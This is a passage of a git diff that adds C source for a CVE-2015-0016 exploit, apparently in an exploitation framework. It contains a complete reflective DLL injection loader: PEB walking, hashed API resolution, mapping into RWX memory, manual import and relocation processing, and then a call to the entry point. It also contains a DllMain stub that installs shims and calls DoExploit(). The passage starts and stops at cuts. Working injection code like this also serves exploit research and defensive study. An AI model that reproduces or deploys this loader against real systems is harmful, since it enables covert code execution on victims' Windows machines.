INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include <windows.h> + +// we declare some common stuff in here... + +#define DLL_QUERY_HMODULE 6 + +#define DEREF( name )*(UINT_PTR *)(name) +#define DEREF_64( name )*(DWORD64 *)(name) +#define DEREF_32( name )*(DWORD *)(name) +#define DEREF_16( name )*(WORD *)(name) +#define DEREF_8( name )*(BYTE *)(name) + +typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID ); +typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); + +#define DLLEXPORT __declspec( dllexport ) + +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/external/source/exploits/cve-2015-0016/dll/src/ReflectiveDll.c b/external/source/exploits/cve-2015-0016/dll/src/ReflectiveDll.c new file mode 100755 index 0000000000..f6ec4ca213 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/src/ReflectiveDll.c @@ -0,0 +1,53 @@ +//===============================================================================================// +// This is a stub for the actuall functionality of the DLL. +//===============================================================================================// +#include "ReflectiveLoader.h" + +// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are +// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own +// DllMain and use the LoadRemoteLibraryR() API to inject this DLL. + +// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c) +extern HINSTANCE hAppInstance; + +#include <objbase.h> + +#include "ShimsInstaller.h" +#include "Exploit.h" + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved); + +BOOL firstTime = TRUE; + +//===============================================================================================// +BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) +{ + BOOL bReturnValue = TRUE; + + switch( dwReason ) + { + case DLL_QUERY_HMODULE: + if( lpReserved != NULL ) + *(HMODULE *)lpReserved = hAppInstance; + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + + if (firstTime) { + firstTime = FALSE; + // Will install shims and will result in a new entry to the + // reflective DLL DllMain entryPoint, at that point execution can + // be executed. + InstallShims(hinstDLL, &DllMain, lpReserved); + } + else { + DoExploit(); + } + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/dll/src/ReflectiveLoader.c b/external/source/exploits/cve-2015-0016/dll/src/ReflectiveLoader.c new file mode 100755 index 0000000000..594c0b8066 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/src/ReflectiveLoader.c @@ -0,0 +1,496 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#include "ReflectiveLoader.h" +//===============================================================================================// +// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value +HINSTANCE hAppInstance = NULL; +//===============================================================================================// +#pragma intrinsic( _ReturnAddress ) +// This function can not be inlined by the compiler or we will not get the address we expect. Ideally +// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of +// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics +// available (and no inline asm available under x64). +__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); } +//===============================================================================================// + +// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, +// otherwise the DllMain at the end of this file will be used. + +// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, +// otherwise it is assumed you are calling the ReflectiveLoader via a stub. + +// This is our position independent reflective DLL loader/injector +#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter ) +#else +DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID ) +#endif +{ + // the functions we need + LOADLIBRARYA pLoadLibraryA = NULL; + GETPROCADDRESS pGetProcAddress = NULL; + VIRTUALALLOC pVirtualAlloc = NULL; + NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; + + USHORT usCounter; + + // the initial location of this image in memory + ULONG_PTR uiLibraryAddress; + // the kernels base address and later this images newly loaded base address + ULONG_PTR uiBaseAddress; + + // variables for processing the kernels export table + ULONG_PTR uiAddressArray; + ULONG_PTR uiNameArray; + ULONG_PTR uiExportDir; + ULONG_PTR uiNameOrdinals; + DWORD dwHashValue; + + // variables for loading this image + ULONG_PTR uiHeaderValue; + ULONG_PTR uiValueA; + ULONG_PTR uiValueB; + ULONG_PTR uiValueC; + ULONG_PTR uiValueD; + ULONG_PTR uiValueE; + + // STEP 0: calculate our images current base address + + // we will start searching backwards from our callers return address. + uiLibraryAddress = caller(); + + // loop through memory backwards searching for our images base address + // we dont need SEH style search as we shouldnt generate any access violations with this + while( TRUE ) + { + if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) + { + uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), + // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. + if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ) + { + uiHeaderValue += uiLibraryAddress; + // break if we have found a valid MZ/PE header + if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) + break; + } + } + uiLibraryAddress--; + } + + // STEP 1: process the kernels exports for the functions our loader needs... + + // get the Process Enviroment Block +#ifdef WIN_X64 + uiBaseAddress = __readgsqword( 0x60 ); +#else +#ifdef WIN_X86 + uiBaseAddress = __readfsdword( 0x30 ); +#else WIN_ARM + uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 ); +#endif +#endif + + // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx + uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; + + // get the first entry of the InMemoryOrder module list + uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; + while( uiValueA ) + { + // get pointer to current modules name (unicode string) + uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; + // set bCounter to the length for the loop + usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; + // clear uiValueC which will store the hash of the module name + uiValueC = 0; + + // compute the hash of the module name... + do + { + uiValueC = ror( (DWORD)uiValueC ); + // normalize to uppercase if the madule name is in lowercase + if( *((BYTE *)uiValueB) >= 'a' ) + uiValueC += *((BYTE *)uiValueB) - 0x20; + else + uiValueC += *((BYTE *)uiValueB); + uiValueB++; + } while( --usCounter ); + + // compare the hash with that of kernel32.dll + if( (DWORD)uiValueC == KERNEL32DLL_HASH ) + { + // get this modules base address + uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; + + // get the VA of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); + + // get the VA for the array of name pointers + uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); + + // get the VA for the array of name ordinals + uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); + + usCounter = 3; + + // loop while we still have imports to find + while( usCounter > 0 ) + { + // compute the hash values for this function name + dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); + + // if we have found a function we want we get its virtual address + if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH ) + { + // get the VA for the array of addresses + uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); + + // use this functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // store this functions VA + if( dwHashValue == LOADLIBRARYA_HASH ) + pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + else if( dwHashValue == GETPROCADDRESS_HASH ) + pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + else if( dwHashValue == VIRTUALALLOC_HASH ) + pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + + // decrement our counter + usCounter--; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + else if( (DWORD)uiValueC == NTDLLDLL_HASH ) + { + // get this modules base address + uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; + + // get the VA of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); + + // get the VA for the array of name pointers + uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); + + // get the VA for the array of name ordinals + uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); + + usCounter = 1; + + // loop while we still have imports to find + while( usCounter > 0 ) + { + // compute the hash values for this function name + dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); + + // if we have found a function we want we get its virtual address + if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) + { + // get the VA for the array of addresses + uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); + + // use this functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // store this functions VA + if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) + pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + + // decrement our counter + usCounter--; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + + // we stop searching when we have found everything we need. + if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache ) + break; + + // get the next entry + uiValueA = DEREF( uiValueA ); + } + + // STEP 2: load our image into a new permanent location in memory... + + // get the VA of the NT Header for the PE to be loaded + uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + + // allocate all the memory for the DLL to be loaded into. we can load at any address because we will + // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. + uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + + // we must now copy over the headers + uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; + uiValueB = uiLibraryAddress; + uiValueC = uiBaseAddress; + + while( uiValueA-- ) + *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++; + + // STEP 3: load in all of our sections... + + // uiValueA = the VA of the first section + uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader ); + + // itterate through all sections, loading them into memory. + uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; + while( uiValueE-- ) + { + // uiValueB is the VA for this section + uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress ); + + // uiValueC if the VA for this sections data + uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData ); + + // copy the section over + uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; + + while( uiValueD-- ) + *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++; + + // get the VA of the next section + uiValueA += sizeof( IMAGE_SECTION_HEADER ); + } + + // STEP 4: process our images import table... + + // uiValueB = the address of the import directory + uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; + + // we assume their is an import table to process + // uiValueC is the first entry in the import table + uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); + + // itterate through all imports + while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) + { + // use LoadLibraryA to load the imported module into memory + uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) ); + + // uiValueD = VA of the OriginalFirstThunk + uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk ); + + // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) + uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk ); + + // itterate through all imported functions, importing by ordinal if no name present + while( DEREF(uiValueA) ) + { + // sanity check uiValueD as some compilers only import by FirstThunk + if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ) + { + // get the VA of the modules NT Header + uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); + + // get the VA for the array of addresses + uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); + + // use the import ordinal (- export ordinal base) as an index into the array of addresses + uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) ); + + // patch in the address for this imported function + DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) ); + } + else + { + // get the VA of this functions import by name struct + uiValueB = ( uiBaseAddress + DEREF(uiValueA) ); + + // use GetProcAddress and patch in the address for this imported function + DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ); + } + // get the next imported function + uiValueA += sizeof( ULONG_PTR ); + if( uiValueD ) + uiValueD += sizeof( ULONG_PTR ); + } + + // get the next import + uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); + } + + // STEP 5: process all of our images relocations... + + // calculate the base address delta and perform relocations (even if we load at desired image base) + uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; + + // uiValueB = the address of the relocation directory + uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; + + // check if their are any relocations present + if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ) + { + // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) + uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); + + // and we itterate through all entries... + while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ) + { + // uiValueA = the VA for this relocation block + uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress ); + + // uiValueB = number of entries in this relocation block + uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC ); + + // uiValueD is now the first entry in the current relocation block + uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); + + // we itterate through all the entries in the current block... + while( uiValueB-- ) + { + // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. + // we dont use a switch statement to avoid the compiler building a jump table + // which would not be very position independent! + if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 ) + *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW ) + *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; +#ifdef WIN_ARM + // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T ) + { + register DWORD dwInstruction; + register DWORD dwAddress; + register WORD wImm; + // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) + dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ); + // flip the words to get the instruction as expected + dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); + // sanity chack we are processing a MOV instruction... + if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT ) + { + // pull out the encoded 16bit value (the high portion of the address-to-relocate) + wImm = (WORD)( dwInstruction & 0x000000FF); + wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); + wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); + wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); + // apply the relocation to the target address + dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF; + // now create a new instruction with the same opcode and register param. + dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 ); + // patch in the relocated address... + dwInstruction |= (DWORD)(dwAddress & 0x00FF); + dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; + dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; + dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; + // now flip the instructions words and patch back into the code... + *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); + } + } +#endif + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH ) + *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW ) + *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); + + // get the next entry in the current relocation block + uiValueD += sizeof( IMAGE_RELOC ); + } + + // get the next entry in the relocation directory + uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; + } + } + + // STEP 6: call our images entry point + + // uiValueA = the VA of our newly loaded DLL/EXE's entry point + uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint ); + + // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. + pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 ); + + // call our respective entry point, fudging our hInstance value +#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR + // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) + ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter ); +#else + // if we are injecting an DLL via a stub we call DllMain with no parameter + ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL ); +#endif + + // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. + return uiValueA; +} +//===============================================================================================// +#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN + +BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) +{ + BOOL bReturnValue = TRUE; + switch( dwReason ) + { + case DLL_QUERY_HMODULE: + if( lpReserved != NULL ) + *(HMODULE *)lpReserved = hAppInstance; + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} + +#endif +//===============================================================================================// diff --git a/external/source/exploits/cve-2015-0016/dll/src/ReflectiveLoader.h b/external/source/exploits/cve-2015-0016/dll/src/ReflectiveLoader.h new file mode 100755 index 0000000000..3797879e47 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/src/ReflectiveLoader.h @@ -0,0 +1,203 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include <windows.h> +#include <Winsock2.h> +#include <intrin.h> + +#include "ReflectiveDLLInjection.h" + +typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR ); +typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR ); +typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD ); +typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG ); + +#define KERNEL32DLL_HASH 0x6A4ABC5B +#define NTDLLDLL_HASH 0x3CFA685D + +#define LOADLIBRARYA_HASH 0xEC0E4E8E +#define GETPROCADDRESS_HASH 0x7C0DFCAA +#define VIRTUALALLOC_HASH 0x91AFCA54 +#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 + +#define IMAGE_REL_BASED_ARM_MOV32A 5 +#define IMAGE_REL_BASED_ARM_MOV32T 7 + +#define ARM_MOV_MASK (DWORD)(0xFBF08000) +#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) +#define ARM_MOVW 0xF2400000 +#define ARM_MOVT 0xF2C00000 + +#define HASH_KEY 13 +//===============================================================================================// +#pragma intrinsic( _rotr ) + +__forceinline DWORD ror( DWORD d ) +{ + return _rotr( d, HASH_KEY ); +} + +__forceinline DWORD hash( char * c ) +{ + register DWORD h = 0; + do + { + h = ror( h ); + h += *c; + } while( *++c ); + + return h; +} +//===============================================================================================// +typedef struct _UNICODE_STR +{ + USHORT Length; + USHORT MaximumLength; + PWSTR pBuffer; +} UNICODE_STR, *PUNICODE_STR; + +// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY +//__declspec( align(8) ) +typedef struct _LDR_DATA_TABLE_ENTRY +{ + //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STR FullDllName; + UNICODE_STR BaseDllName; + ULONG Flags; + SHORT LoadCount; + SHORT TlsIndex; + LIST_ENTRY HashTableEntry; + ULONG TimeDateStamp; +} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; + +// WinDbg> dt -v ntdll!_PEB_LDR_DATA +typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes +{ + DWORD dwLength; + DWORD dwInitialized; + LPVOID lpSsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + LPVOID lpEntryInProgress; +} PEB_LDR_DATA, * PPEB_LDR_DATA; + +// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK +typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes +{ + struct _PEB_FREE_BLOCK * pNext; + DWORD dwSize; +} PEB_FREE_BLOCK, * 